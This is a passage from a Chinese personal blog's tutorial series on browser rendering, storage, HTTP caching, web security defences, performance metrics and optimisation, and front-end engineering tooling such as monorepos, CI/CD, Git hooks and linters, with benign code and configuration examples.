我的博客

11 · 首屏优化实战

Thu, 01 Oct 2026 15:45:00 GMT

优化是流程，不是灵感的

这些年我总结了一套指标驱动的首屏优化 SOP，避免"东改一点西改一点"。

第一步：诊断

跑 Lighthouse 拿实验室分，看 LCP/CLS/INP 谁最差。
看 Network 面板：首屏发了哪些请求？哪个最大最慢？有没有 404/重复？
接 web-vitals 看真实用户数据（RUM），确认不是"本地快线上慢"。

第二步：按指标下药

LCP 差（内容出现慢）

预加载/优先加载首屏大图（preload + 现代格式）。
削减阻塞渲染的 JS（defer/代码分割/异步第三方）。
服务端渲染（SSR）直接吐首屏 HTML，省去"等 JS 拉数据再渲染"。
CDN 边缘缓存静态资源，就近返回。

CLS 差（布局抖动）

图片/视频/广告位预留宽高或 aspect-ratio。
字体用 font-display: swap + 预加载关键字体。
别在已有内容上方插入新元素（如突然弹出的 banner）。

INP 差（交互卡）

拆分长任务、rAF 批量更新（见运行时篇）。
重计算进 Web Worker。

第三步：用骨架屏撑住"等待感"

SSR/数据回来前，先渲染骨架屏（灰块占位），用户感知更快、不白屏。配合懒加载，体验明显提升。

可照做的检查清单

[ ] 资源带 contenthash + 长缓存；HTML 短缓存
[ ] 首屏 JS 体积达标（代码分割 + 按需）
[ ] 图片 webp/avif + srcset + loading="lazy" + 预留尺寸
[ ] 关键 CSS 内联、非关键异步
[ ] 第三方脚本 async/defer、延迟加载
[ ] 指标接入 RUM，优化前后对比 LCP/CLS/INP

小结

优化 SOP：诊断（Lighthouse/Network/RUM）→ 按指标定位 → 对症优化 → 数据验收。
LCP 看资源与 SSR，CLS 看预留尺寸与字体，INP 看长任务与 Worker。
骨架屏缓解等待感；优化必须用指标前后对比证明有效。

练习

挑你正在做的页面，按清单逐项打勾，列出 Top3 待优化项。
用 Lighthouse 跑分 → 改一项（如图片格式）→ 再跑，确认指标变化。
给一个数据列表页加骨架屏，对比"白屏"与"骨架"的体感差异。

10 · Web Workers 与多线程

Thu, 01 Oct 2026 15:30:00 GMT

单线程的墙

前面说过 JS 单线程，重计算（如大数组排序、图像/音频处理、加密）会卡住主线程，UI 冻结。Web Worker 提供了真正的多线程：把这类活丢到后台线程跑。

Worker 基本用法

// main.js
const worker = new Worker("worker.js");
worker.postMessage({ type: "calc", data: bigArray });
worker.onmessage = (e) => console.log("结果", e.data);

// worker.js
self.onmessage = (e) => {
  const result = heavyCompute(e.data.data);
  self.postMessage(result);
};

主线程与 Worker 不共享内存，通过 postMessage 传数据。
数据用结构化克隆传递（默认拷贝；大对象可用 Transferable 转移所有权，零拷贝）。

适用场景

大数组/矩阵运算、排序、压缩。
图像处理（canvas 像素级操作）。
音视频编解码、加密解密。
解析大 JSON / 文档。

不适合：直接操作 DOM（Worker 里没有 document）、频繁小消息（通信也有开销）。

现代封装：Comlink

手写 postMessage 像在写 RPC，繁琐。Comlink 把 Worker 暴露的对象变成可 await 的远程对象：

// worker.js
import * as Comlink from "comlink";
Comlink.expose({ heavyCompute });

// main.js
const api = Comlink.wrap(new Worker("worker.js"));
await api.heavyCompute(data); // 像调本地函数

限制与权衡

Worker 有启动/通信成本，轻量计算不值得搬。
复杂共享状态可用 SharedWorker（多标签页共享）或 SharedArrayBuffer（需COOP/COEP 头）。
模块 Worker：new Worker(url, { type: "module" }) 支持 ESM。

小结

Web Worker 把重计算移出主线程，保 UI 流畅。
通过 postMessage 通信，数据走结构化克隆（大对象用 Transferable）。
适合重计算，不适合操作 DOM 或超高频小消息。
Comlink 让 Worker 调用像本地异步函数。

练习

写一个 Worker 做"大数组排序"，对比放主线程时页面是否冻结。
用 Transferable 传递一个大 ArrayBuffer，体会零拷贝。
用 Comlink 重构上面的 Worker 调用，对比代码可读性。

09 · 运行时性能

Thu, 01 Oct 2026 15:00:00 GMT

卡顿的根源：主线程被占满

浏览器的主线程负责 JS 执行、样式计算、布局、绘制编排。一旦一段 JS 跑了太久（>50ms），主线程被独占，用户点击/滚动无响应——这就是"长任务"。INP 指标直接反映这个体验。

用 Performance 面板定位

录制一次交互，看火焰图：哪段脚本占了长条？是否出现"Long Task"红色标记？聚焦最贵的函数，别瞎优化。

常见运行时杀手与对策

1. 频繁重排：循环里"读写交替"触发强制同步布局。批量读写、用 requestAnimationFrame 把视觉更新集中到下一帧。

// 节流：高频事件（scroll/resize）限制执行频率
function throttle(fn, wait) {
  let last = 0;
  return (...args) => {
    const now = Date.now();
    if (now - last >= wait) { last = now; fn(...args); }
  };
}
window.addEventListener("scroll", throttle(onScroll, 100));

2. 大列表渲染：1 万行 DOM 必卡 → 虚拟列表（见 React 性能篇）。

3. 大量 DOM 操作：用文档片段（DocumentFragment）或先 display:none 改完再显示，减少重排次数。

4. 复杂计算：移到 Web Worker（下篇），不占主线程。

rAF 与防抖节流

requestAnimationFrame：把动画/视觉更新对齐浏览器刷新节奏（~16ms/帧），避免掉帧。
debounce：停止触发 N 毫秒后才执行（搜索输入，等用户停下来再请求）。
throttle：固定间隔最多执行一次（滚动处理，限频）。

小结

卡顿 = 长任务占满主线程；用 Performance 面板定位最贵函数。
避免循环读写交替、大列表全量渲染、无节制的 DOM 操作。
防抖/节流控频率；rAF 对齐帧；重计算进 Worker。

练习

用 Performance 录制一个卡顿交互，找出最长的 Long Task 并定位函数。
写一个高频 input 搜索，用 debounce 避免每次按键都发请求。
把一段"循环里反复改 style 触发重排"的代码改成 rAF 批量更新。

08 · 加载性能优化

Thu, 01 Oct 2026 14:00:00 GMT

加载优化的核心：缩短关键渲染路径

用户看到内容前，必须下载并执行关键资源（HTML/CSS/阻塞 JS）。优化思路：更少、更小、更早、更聪明地加载。

1. 减少与压缩

删无用代码：tree-shaking、按需引入（见工程化篇）。
压缩：JS/CSS 用 gzip/brotli；文本类资源压缩率极高。
modern 构建：给现代浏览器发 ES2017+（更小），老浏览器走兜底（@vitejs/plugin-legacy）。

2. 预加载关键资源

<link rel="preload" href="critical.css" as="style" />
<link rel="prefetch" href="next-page.js" as="script" />

preload：当前页马上要用的资源，提前拿（如首屏大图、关键字体）。
prefetch：下一页可能要用的，空闲时预取。
用错（preload 了用不到的）反而拖慢，按需使用。

3. 图片优化（最大头的常客）

现代格式：webp/avif 比 jpg/png 小 30–50%。
响应式：<img srcset> 按屏给不同分辨率，移动端不下载桌面大图。
懒加载：<img loading="lazy"> 滚到视口才加载，省首屏带宽。
给尺寸：width/height 预留空间防止 CLS 抖动（见指标篇）。

4. 字体与第三方脚本

字体：font-display: swap 先显示回退字体再替换，避免"看不见文字"；子集化只打包用到的字。
第三方脚本（统计/广告）：用 async/defer 不阻塞解析；能延迟/按需就别首屏加载，它们常是性能刺客。

小结

关键路径：更少（删代码）、更小（压缩）、更早（preload）、更聪明（lazy）。
图片是头号优化对象：现代格式 + 响应式 + 懒加载 + 预留尺寸。
第三方脚本和字体要专门治理，别让它们堵首屏。

练习

给首屏一张大图换 webp 格式并加 loading="lazy"，对比传输体积。
用 <link rel="preload"> 提前加载关键 CSS，观察 FCP 是否改善。
审计你页面的第三方脚本，把非首屏的改成延迟加载。

07 · 性能指标

Thu, 01 Oct 2026 13:00:00 GMT

没有度量就没有优化

"感觉有点慢"无法指导优化。Core Web Vitals 把体验拆成可量化指标，达标才算好。

关键指标

指标	衡量	好的阈值
TTFB	服务器响应首个字节耗时	< 800ms
FCP	首次绘制任意内容	< 1.8s
LCP	最大内容（如大图/标题）绘制完成	< 2.5s
CLS	布局稳定性（视觉跳动）	< 0.1
INP	交互响应延迟（替代 FID）	< 200ms

LCP 关注"用户看到主要内容多快"——常受大图、阻塞渲染的 JS 影响。
CLS 关注"页面稳不稳"——图片无宽高、字体闪烁、插入内容都会导致跳动。
INP 关注"点了有没有反应"——长任务占主线程是主因。

采集方式

Lighthouse：实验室数据，本地跑分、查瓶颈（DevTools 自带）。
web-vitals 库：采集真实用户（RUM） 数据，反映真实环境。
CrUX / 监控平台：聚合全量用户的字段数据，看长期趋势。

实验室数据（Lighthouse）找问题，真实字段数据（RUM）验效果。两者结合。

指标驱动优化

LCP 差 → 优化首屏大图（压缩/优先加载/预加载）、削减阻塞 JS。
CLS 差 → 给图片/广告位预留尺寸、font-display: swap 减少字体跳动。
INP 差 → 拆分长任务、用 Web Worker 移出主线程（下篇）。

小结

核心指标：LCP（加载）、CLS（稳定）、INP（交互）。
阈值：LCP<2.5s、CLS<0.1、INP<200ms。
Lighthouse 找瓶颈，RUM 验真实效果。
先测指标，再针对性优化，避免盲调。

练习

用 Lighthouse 给你的页面跑分，记录 LCP/CLS/INP，找出最差的一项。
故意去掉一张大图的宽高属性，观察 CLS 变差；补回后恢复。
在页面接入 web-vitals 库，打印真实用户的 LCP 值。

06 · 跨域与安全

Thu, 01 Oct 2026 12:00:00 GMT

安全是上线的必答题

功能做完不代表能上线。两个经典漏洞——XSS 和 CSRF——是前端必须懂的防御知识。本文只讲如何防，原理服务于防护。

同源策略与 CORS

同源 = 协议 + 域名 + 端口都相同。跨源请求默认被浏览器拦截。服务端通过 CORS 头放行：

Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true

简单请求直接发；带凭证/非简单方法会先发 OPTIONS 预检。
不要把 Allow-Origin 设成 *（通配）同时又允许凭证，这是危险组合。

CSP：给页面上把锁

Content-Security-Policy 声明"页面允许加载哪些来源的资源"，从源头遏制注入：

Content-Security-Policy: default-src 'self'; img-src 'self' https://cdn.example.com;

即使有注入点，外部脚本也因不在白名单被拒绝执行。是现代防 XSS 的关键防线。

XSS：别让用户输入变成代码

原理（仅用于理解防御）：把用户输入未经处理地插入 DOM/HTML，其中的脚本会被执行。防御：

输出转义：插入文本用 textContent 而非 innerHTML；框架（React/Vue）默认转义插值。
不信任任何用户输入，富文本用白名单 sanitizer（如 DOMPurify）。
HttpOnly Cookie 让 JS 读不到 token，即使被注入也偷不走登录态。
配合 CSP 兜底。

CSRF：别让别人的站点替你发请求

原理（用于理解）：用户在 A 站登录，访问恶意 B 站，B 自动发起对 A 的请求，浏览器带上 A 的 Cookie 通过鉴权。防御：

SameSite Cookie：SameSite=Strict/Lax 阻止跨站携带 Cookie。
CSRF Token：请求带服务端下发的随机 token，恶意站点无法伪造。
关键操作要求二次确认/验证码。

小结

CORS 是服务端声明的跨域放行，别滥用 * + 凭证。
CSP 用白名单约束资源来源，防注入兜底。
XSS 防：转义输出 + 不信任输入 + HttpOnly + CSP。
CSRF 防：SameSite Cookie + CSRF Token。

练习

给一个页面加 CSP 头，故意引入一个外部脚本，观察被拦截。
对比 innerHTML 插入用户输入 vs textContent 的安全性差异。
解释为什么 SameSite=Strict 能挡住大部分 CSRF。

05 · 网络与 HTTP 缓存

Thu, 01 Oct 2026 11:00:00 GMT

缓存是性能的半壁江山

很多"慢"其实是不该发生的请求。HTTP 缓存让浏览器/CDN 复用已下载的资源，省掉网络往返甚至省掉下载。配错了则会"永远拿到旧版"。

强缓存：不询问，直接用

靠响应头：

Cache-Control: max-age=31536000, immutable

max-age=秒：资源在这么长时间内绝对新鲜，不发请求直接用（200 from cache）。
immutable：内容永不变（如带 hash 的文件名），连验证都省。
强缓存期间浏览器连服务端都不问。

协商缓存：问一句"我这份还新吗"

当强缓存过期，浏览器带条件去问服务端：

请求：If-None-Match: "<ETag值>"
响应：304 Not Modified（无 body，极快）

ETag：资源指纹，内容变则变。
Last-Modified：最后修改时间（精度低，文件 1 秒内改回原值会误判）。

服务端比对后发现没变 → 返回 304，浏览器继续用本地副本。

实践策略

带 hash 的静态资源（如 app.a1b2c3.js）：Cache-Control: max-age=31536000, immutable。内容变→hash 变→URL 变→自动取新版，旧 URL 永久缓存安全。
HTML（入口）：no-cache 或短缓存，确保能及时拿到新引用。
CDN：边缘节点缓存静态资源，用户就近取，延迟大降。

本博客部署用 contenthash 文件名正是为了这套缓存策略：内容不变 URL 不变，可放心长缓存。

小结

强缓存（max-age/immutable）：不发请求，最快。
协商缓存（ETag/304）：发请求但省下载。
带 hash 资源长缓存 + HTML 短缓存 = 安全又快的经典组合。
CDN 把资源推到离用户更近的地方。

练习

给一个静态资源配 Cache-Control: max-age=31536000, immutable，用 DevTools 看二次访问是否 200 (from cache)。
改资源内容但保持文件名不变，观察协商缓存返回 304 还是重新下载。
解释为什么 HTML 入口不宜设 immutable 长缓存。

04 · 浏览器存储

Thu, 01 Oct 2026 10:00:00 GMT

为什么需要客户端存储

服务端是真相源，但很多场景要在客户端记点东西：登录态、用户偏好、离线缓存、草稿。浏览器提供了几层能力，各有适用边界。

四种方案对比

方案	容量	生命周期	自动随请求发	类型
Cookie	~4KB	可设过期	✅（同域请求头）	字符串
LocalStorage	~5MB	永久（手动清）	❌	字符串
SessionStorage	~5MB	标签页关闭即清	❌	字符串
IndexedDB	数百 MB+	永久	❌	结构化/二进制

Cookie：最老但特殊

document.cookie = "token=abc; max-age=3600; Secure; SameSite=Strict; Path=/";

特点：

每次同域请求自动带在请求头，适合存登录态。
容量小（~4KB），有安全属性：HttpOnly（JS 读不到，防 XSS 偷）、Secure（仅 HTTPS）、SameSite（防 CSRF）。
现代登录态更倾向存 HttpOnly Cookie，而非 LocalStorage（后者易被 XSS 读走）。

LocalStorage / SessionStorage

localStorage.setItem("theme", "dark");
localStorage.getItem("theme"); // "dark"
// 只存字符串，对象需 JSON.stringify

LocalStorage 同源持久；SessionStorage 仅当前标签页（新开标签不共享）。
同步 API，大量读写会阻塞；且同源下任何脚本可读，敏感信息别放这。

IndexedDB：前端的"数据库"

const db = await idb.openDB("app", 1);
await db.put("drafts", { id: 1, text: "..." });

异步、支持事务、存结构化/二进制（Blob/ArrayBuffer），容量大。
适合离线应用、缓存大体积数据、PWA 的本地存储。
API 偏底层，常用 idb 这类封装库。

选型口诀

登录态 → HttpOnly Cookie；用户偏好/轻量缓存 → LocalStorage；标签页临时态 → SessionStorage；大/结构化/离线 → IndexedDB。

小结

Cookie 小、随请求发、带安全属性，适合登录态。
LocalStorage 持久同源，SessionStorage 标签页级。
IndexedDB 大容量异步，适合离线/结构化数据。
敏感信息别放可被 JS 读取的存储。

练习

比较把登录 token 存 LocalStorage 与 HttpOnly Cookie 在 XSS 下的风险差异。
用 IndexedDB（或 idb 库）实现一个"离线草稿箱"，刷新后仍在。
解释 SessionStorage 为什么"新标签页打开同一 URL 不共享状态"。

03 · 事件机制

Thu, 01 Oct 2026 09:00:00 GMT

一次点击走了三步

点击一个按钮，事件不是直接打到它，而是沿 DOM 树三阶段传播：

捕获阶段：从 window 向下到目标父级。
目标阶段：到达被点的元素。
冒泡阶段：从目标向上回到 window。

el.addEventListener("click", handler, true);  // true=捕获阶段触发
el.addEventListener("click", handler);        // 默认冒泡阶段触发

事件委托：一个监听管一片

给 1000 个 <li> 各绑监听既费内存又难维护。利用冒泡，在父容器上绑一个，靠 event.target 判断谁被点：

list.addEventListener("click", e => {
  const li = e.target.closest("li");
  if (li) handle(li);
});

好处：动态增删子项无需重新绑事件，性能与可维护性双赢。这是 React 事件系统底层思路的来源之一。

addEventListener 的进阶选项

el.addEventListener("scroll", onScroll, { passive: true }); // 告诉浏览器我不会 preventDefault
el.addEventListener("click", once, { once: true });          // 只触发一次后自动解绑

passive: true 关键：移动端 touchmove/wheel 监听若调用 preventDefault 会阻塞滚动。标记为 passive 后浏览器可放心异步滚动，消除卡顿（Chrome 对部分事件已默认 passive）。

止损与注意

委托时记得判断 target 是否真是你想要的元素（closest 兜底）。
组件卸载要 removeEventListener 解绑，否则内存泄漏。React 的 useEffect 清理函数就是干这个。
阻止冒泡用 e.stopPropagation()，但别滥用——会打断上层逻辑（如全局点击关闭弹窗）。

小结

事件三阶段：捕获 → 目标 → 冒泡。
事件委托靠冒泡 + closest，一个监听管全部子项。
passive 让滚动事件不阻塞；once 自动解绑。
卸载时解绑监听，防止内存泄漏。

练习

在父容器上用事件委托处理动态列表点击，对比"每项是绑"的内存差异。
给 wheel 监听加 passive: true，用 Performance 看滚动是否仍流畅。
在捕获阶段和冒泡阶段各绑一个监听，点击目标元素，观察打印顺序。

02 · 重排、重绘与合成层

Thu, 01 Oct 2026 08:00:00 GMT

三个词的代价天差地别

操作	触发	代价
Reflow 重排	改几何（宽高/位置/字号）	最高：重算布局 + 重绘 + 合成
Repaint 重绘	改外观（颜色/背景）不涉及布局	中：重绘 + 合成
Composite 合成	改 `transform`/`opacity`	最低：仅 GPU 合成层变换

口诀：能合成就别重绘，能重绘就别重排。

触发对比

.el { width: 100px; }      /* 改 width → Reflow（连锁 Repaint+Composite） */
.el { color: red; }        /* 改 color → Repaint */
.el { transform: translateX(10px); } /* 走合成层，仅 Composite */

动画用 transform/opacity 而非 left/top/width，因为前者只动合成层，丝滑且不阻塞主线程。

合成层（Compositing Layer）

浏览器把某些元素提升为独立图层，由 GPU 单独处理。常见触发：3D transform、<video>、<canvas>、will-change: transform、fixed 定位等。

.card { will-change: transform; } /* 提前提示浏览器为该元素建合成层 */

⚠️ will-change 别滥用：每个合成层占内存，建太多反而卡。用在有持续动画的元素上，动画结束移除。

实战注意

批量改样式：连续改多次几何属性会触发多次重排。读 offsetWidth 再写样式会强制同步布局（强制重排），循环中尤其要避免"读写读写"交替。
脱离文档流再改：对要大幅变化的节点，先 display:none（改完再恢复）可把重排限制在子树。

小结

Reflow > Repaint > Composite 的代价递增方向反着记：Composite 最便宜。
动画优先 transform/opacity，避开重排重绘。
will-change 提示建层但别滥用，吃内存。
避免循环里"读写交替"触发强制同步布局。

练习

用 DevTools Performance 录制：一个 left 动画 vs 一个 transform 动画，对比主线程占用。
写一个循环，交替读 offsetHeight 写样式，观察为何变慢；改成批量写后对比。
给一个持续动画元素加 will-change: transform，在 Layer 面板看是否生成独立层。

01 · 渲染流水线

Thu, 01 Oct 2026 07:00:00 GMT

一段"看不见"的旅程

你写 index.html + style.css，浏览器要把它变成屏幕上的像素，经历一条渲染流水线。每一步都有成本，瓶颈常在某一环。

流水线五阶段

解析 HTML → DOM：字节流按标签解析成 DOM 树。JS 会阻塞解析（见下）。
解析 CSS → CSSOM：样式规则构造成 CSSOM 树。
合成 Render Tree（渲染树）：合并 DOM 与 CSSOM，只含可见节点（<head>、:display:none 的都不进）。
Layout（布局/重排）：计算每个节点的几何位置与尺寸。最贵的一步之一。
Paint（绘制）：把每个节点画成像素，生成绘制记录。
Composite（合成）：把各层合并，提交 GPU 上屏。

HTML ─┐
      ├─▶ DOM + CSSOM ─▶ Render Tree ─▶ Layout ─▶ Paint ─▶ Composite ─▶ 屏幕
CSS  ─┘

关键认知

JS 阻塞解析：<script> 默认会暂停 HTML 解析去执行，放底部或用 defer/async 避免。
CSS 阻塞渲染：CSSOM 没建好，渲染树没法合成，所以 CSS 要尽早加载。
Layout 是重活：改了几何属性（宽高、位置）触发 Layout，连锁影响后续 Paint/Composite。
合成层走 GPU：某些属性（transform/opacity）可单独合成，不触发 Layout/Paint，最快。

小结

渲染流水线：DOM+CSSOM → 渲染树 → Layout → Paint → Composite。
JS 阻塞解析、CSS 阻塞渲染，二者都要早加载/异步化。
Layout 最贵；transform/opacity 走合成层最快。
优化要先判断瓶颈在 Layout / Paint / Composite 哪一步。

练习

在 DevTools Performance 面板录制一次页面加载，对照各阶段耗时。
把脚本从 <head> 移到 <body> 末尾，对比渲染开始时间。
解释为什么 CSS 没加载完，页面会白屏而非显示无样式内容。

浏览器与性能 · 路线总览

Thu, 01 Oct 2026 06:00:00 GMT

[!NOTE] 本系列共 12 篇，是我做性能优化、排查"白屏/卡顿"那些年，一点点摸清的浏览器底细。懂了原理，优化才有方向，否则全是玄学。

性能不是调参，是懂浏览器

新人优化靠"听说加个 will-change""换个框架"，结果没改善。真正的优化来自：知道代码在浏览器里怎么跑，瓶颈就在哪一环。

浏览器与性能

├── 渲染原理
│   ├── 渲染流水线（DOM→绘制→合成）
│   ├── 重排 / 重绘 / 合成层
│   └── 事件机制（捕获/冒泡/委托）
├── 存储与网络
│   ├── 浏览器存储（Cookie/LS/IndexedDB）
│   ├── 网络与 HTTP 缓存
│   └── 跨域与安全（CORS/CSP/XSS/CSRF）
└── 性能优化
    ├── 性能指标（FCP/LCP/CLS/TTFB）
    ├── 加载性能优化
    ├── 运行时性能
    ├── Web Workers
    └── 首屏优化实战

我排查过最典型的几类问题

白屏：资源 404 / JS 报错阻断渲染 / 大图阻塞首屏。
卡顿：长任务占主线程、频繁重排、滚动时大量 DOM 操作。
布局跳动：图片无宽高导致 CLS 抖动，用户点错按钮。
慢得离谱：没开缓存、重复请求、未压缩资源。

怎么读

01–03 是渲染与事件原理，优化的地基。
04–06 是存储/网络/安全，前端绕不开。
07–11 是性能优化实战，按指标驱动。

小结

性能优化的前提是对浏览器运行机制有"画面感"。下一篇从最关键的——渲染流水线讲起：从你写的 HTML/CSS/JS 到像素上屏，中间经历了什么。

11 · Monorepo 实战

Thu, 01 Oct 2026 05:00:00 GMT

多仓库的痛

公司有 ui-lib、utils、web-app、admin 四个包，分散四个仓库：改了 utils 的 API，要发版 → 另三个仓库逐个升级 → 版本对不齐，一天耗在"对齐版本"。Monorepo 让它们在同一仓库、共享一份代码、原子化改动。

pnpm workspace：依赖与过滤

pnpm-workspace.yaml 声明包含哪些包：

packages:
  - "packages/*"
  - "apps/*"

依赖提升：公共依赖只在根装一份，各包共享，磁盘与安装速度双优。
跨包引用：packages/utils 可直接被 apps/web 以 workspace 协议引用，改了立刻生效，无需发版。
过滤执行：pnpm --filter web... build 只构建 web 及其依赖。

Turborepo：任务编排 + 缓存

// turbo.json
{
  "pipeline": {
    "build": { "dependsOn": ["^build"], "outputs": ["dist/**"] }
  }
}

^build 表示"先构建我依赖的包"。
缓存：任务输入（源码、配置）不变就直接复用上次产物（本地 + 远程缓存），CI 大幅提速。
只跑受影响的包，无关包跳过。

收益与代价

收益：原子改动跨包、统一工具链、共享类型、一致规范。代价：仓库变大、CI 更复杂、需要工具约束（否则所有人改同一 repo 易冲突）。小团队（<5 人、包间耦合低）往往用多仓库 + 清晰的发版流程更轻。

小结

Monorepo 解决"多关联包版本对齐、原子改动"的协作痛。
pnpm workspace 管依赖与过滤；Turborepo 管任务编排与缓存。
适合中大型、包耦合高的团队；小团队先评估是否过度。

练习

用 pnpm workspace 建 packages/utils 和 apps/web，让 web 引用 utils 的 workspace 版本。
配 turbo.json 的 build pipeline，体验 dependsOn: ["^build"] 的依赖顺序。
列出你团队"是否该上 Monorepo"的判定项，给出结论与理由。

10 · 微前端

Thu, 01 Oct 2026 04:00:00 GMT

什么时候才需要它

一个中台里，订单团队用 Vue、风控团队用 React，却要合成一个后台；各团队要独立开发、独立部署、互不阻塞。这就是微前端的场景——把"巨石应用"拆成可独立交付的"子应用"。

如果只是单团队单技术栈，微前端是过度设计，反而引入一堆通信/样式隔离/版本协调的复杂度。

核心思路：运行时集成

与"构建时把代码拼一起"不同，微前端在运行时把子应用挂到基座的容器里：

基座（主应用）
 ├─ 路由 /app/order  → 加载 Order 子应用（独立部署的 JS）
 ├─ 路由 /app/risk   → 加载 Risk 子应用（另一技术栈）

子应用各自构建、各自部署，基座按路由决定加载谁。

主流方案

qiankun（基于 single-spa）：国内中台常用，提供 JS 沙箱（隔离全局变量）、样式隔离、应用间通信。开箱即用但偏重。
Module Federation（Webpack 5）：在构建期声明"哪些模块由谁提供"，运行时直接共享依赖，免重复加载。适合同技术栈的模块级复用，更轻。
Web Components / iframe：iframe 隔离最彻底但通信难、体验割裂；Web Components 标准但生态弱。

必须面对的代价

样式隔离：子应用 CSS 互相污染（用 scoped/Shadow DOM/命名空间）。
JS 沙箱：全局变量冲突（qiankun 用 proxy 沙箱）。
依赖重复：每个子应用都带一份 React，体积翻倍（Module Federation 可缓解）。
通信与调试：跨应用状态同步、错误监控定位变复杂。

小结

微前端解决"多团队独立部署、同屏运行"，非单团队标配。
思路：基座 + 运行时集成子应用。
qiankun 重但开箱全，Module Federation 轻但偏同栈。
它带来沙箱/样式/依赖/通信的真实复杂度，上之前算清收益。

练习

列出你所在团队"是否真需要微前端"的判断清单（团队数、技术栈数、部署独立性）。
对比 qiankun 与 Module Federation 在你的场景下的优劣。
设计一个子应用间通信方案（全局 store vs 自定义事件），说明取舍。

09 · 构建产物分析与优化

Thu, 01 Oct 2026 03:00:00 GMT

优化第一步是测量

我曾花两天"优化"了一个本就不大的 bundle，纯属浪费。正确顺序：分析 → 定位大头 → 优化 → 再测。没数据别动手。

分析工具

webpack-bundle-analyzer / rollup-plugin-visualizer：可视化每个模块占的体积，一眼看出谁是"体积刺客"（常是 moment、lodash 全量、某个大图标库）。
浏览器 DevTools → Network → 看资源大小与加载时间。

常见优化手段

1. 按需引入，别全量 import

import _ from "lodash";        // ❌ 全量，拉进整个库
import debounce from "lodash/debounce"; // ✅ 只引要用的
// 或 ESM 版的 lodash-es 配合 tree-shaking

2. 拆包 / 路由级懒加载：首屏只加载必要代码（见 React 篇代码分割）。

3. 压缩与 Tree-shaking：mode: production 自动做；确认用 ESM 以启用摇树。

4. 资源优化：图片用现代格式（webp/avif）、压缩、用 CDN；字体子集化。

5. 缓存策略：contenthash 文件名 + 长缓存（Cache-Control: immutable），内容不变则命中缓存。

别盲目优化

先确认瓶颈在体积还是网络还是运行时（见浏览器与性能模块）。三者解法完全不同。
微优化（省几 KB）优先级低于"删掉一个误引的大依赖"（省几百 KB）。
移动端弱网下，首屏体积比桌面端敏感得多。

小结

优化前先量化，用可视化工具找体积大头。
最高杠杆：按需引入、拆包懒加载、删误引大依赖。
压缩 + tree-shaking + 长缓存组合拳。
先定位瓶颈类型（体积/网络/运行时），再对症下药。

练习

用 rollup-plugin-visualizer 生成你项目 bundle 图，找出最大的三个模块。
把一个 import _ from "lodash" 改成按需引入，对比体积变化。
给静态资源配 contenthash 文件名，解释它如何让浏览器安全长缓存。

08 · CI/CD 基础

Thu, 01 Oct 2026 02:00:00 GMT

手动上线的代价

早年我手动 build 完 scp 到服务器，漏了一步、装错依赖，线上就挂。CI/CD 的价值：把这套流程变成"提交即触发、机器严格执行"，人不再是关键路径。

一条典型流水线

push / PR
 └─ CI（持续集成）
     ├─ install（带缓存）
     ├─ lint            ┐
     ├─ typecheck       ├─ 任一失败即红，阻断合并
     ├─ test            ┘
     └─ build           ┐
                         ├─ 产物存为 artifact
 └─ CD（持续交付/部署）
     └─ 部署到预发/生产（仅主干通过 CI 后）

阶段划分原则

快反馈优先：lint/typecheck 放最前，几秒到一分钟出结果，别等 10 分钟构建完才告诉你格式错了。
失败即止：任一步红，后续不跑，省算力也快止损。
缓存：依赖（node_modules）、构建缓存命中能省大量时间。

关键纪律

构建失败绝不上线：这是自动化里最不能妥协的一条。本博客的 deploy.sh 就遵循"先 git pull --ff-only → 构建 → 部署"，构建不过不部署。
CD 只在受保护分支触发：feature 分支只跑 CI，主干合并才部署。
环境一致性：CI 用和本地一致的工具版本（通过 lockfile + 容器/指定 node 版本）。

小结

CI/CD = 提交即自动构建/测试/部署，移除人这个不稳定因素。
流水线：install → lint/typecheck/test → build → deploy。
快反馈前置、失败即止、依赖缓存。
铁律：构建失败不上线。

练习

画一张你项目的 CI 流程图，标注哪步失败会阻断合并。
给流水线加"构建耗时"监控，识别最慢阶段能否缓存加速。
解释为什么 lint 应排在 build 之前而非之后。

07 · Git Hooks 与质量门禁

Wed, 30 Sep 2026 15:45:00 GMT

自觉是不可靠的

规范配好了，但有人忘了跑 lint 就提交，CI 才报错，来回返工。把检查移到"提交动作那一刻"——提交前自动跑，过不了就不让提交。

Husky：钩子管家

Husky 让你方便地往 Git 生命周期挂脚本：

npx husky init
# 在 .husky/pre-commit 写入：
npx lint-staged

pre-commit 在 git commit 执行前触发。如果脚本退出码非 0，提交被中止。

lint-staged：只查改动的文件

全量 lint 在大项目很慢。lint-staged 只对你本次暂存（staged）的文件跑检查，速度快、且只格式化你改的：

// .lintstagedrc
{
  "*.{ts,tsx,js}": ["eslint --fix", "prettier --write"],
  "*.css": ["stylelint --fix", "prettier --write"]
}

--fix 顺便自动修格式问题（如补分号、改引号），提交进来的代码永远是干净的。

完整防线

开发者写代码
  → git commit（Husky pre-commit 触发 lint-staged：格式化+检查）
      ├─ 有问题 → 自动 fix 或报错，提交中止，开发者改完重提
      └─ 通过 → 提交成功
  → push → CI 再跑一遍（lint + typecheck + test + build）

本地钩子是第一道，CI 是兜底（有人绕过钩子也能卡住）。

小结

靠自觉跑 lint 必漏，检查要绑到 pre-commit。
Husky 挂钩子，lint-staged 只查暂存文件、快且精准。
--fix 自动格式化，进仓库即干净。
本地钩子 + CI 双重防线，质量不靠人。

练习

给项目加 Husky + lint-staged，提交一个格式乱的文件，观察被自动 fix。
故意提交一个 ESLint 报 error 的代码，确认提交被中止。
解释为什么 CI 还要再跑一遍 lint（钩子可被 --no-verify 跳过）。

06 · 代码规范（ESLint / Prettier / Stylelint）

Wed, 30 Sep 2026 15:30:00 GMT

规范不是束缚，是"别再为风格吵架"

团队里最无意义的消耗就是评审时争论"该不该加分号、缩进几格"。规范把这些问题自动化：机器统一格式，人只评审逻辑。

ESLint：查问题，不是管格式

ESLint 通过规则检查代码正确性：未声明变量、用了 var、no-fallthrough、潜在的内存泄漏等。

// .eslintrc
{
  "extends": ["eslint:recommended", "plugin:@typescript-eslint/recommended"],
  "rules": { "no-var": "error", "no-unused-vars": "warn" }
}

配合 @typescript-eslint，TS 项目能查到类型相关坏味道（如 any 滥用、不必要的非空断言）。

Prettier：只管格式

Prettier 不关心逻辑，只统一排版：换行、引号、尾逗号、缩进。它和 ESLint 有重叠（如引号规则），所以关掉 ESLint 里所有格式类规则，交给 Prettier，避免打架。

// .prettierrc
{ "semi": true, "singleQuote": true, "printWidth": 80 }

Stylelint：CSS 的健康检查

/* 规则：禁止无效颜色、要求简写顺序等 */
a { color: #FFF; }

stylelint-config-standard 提供一套合理默认，管住 CSS/SCSS 的常见错误。

落地清单

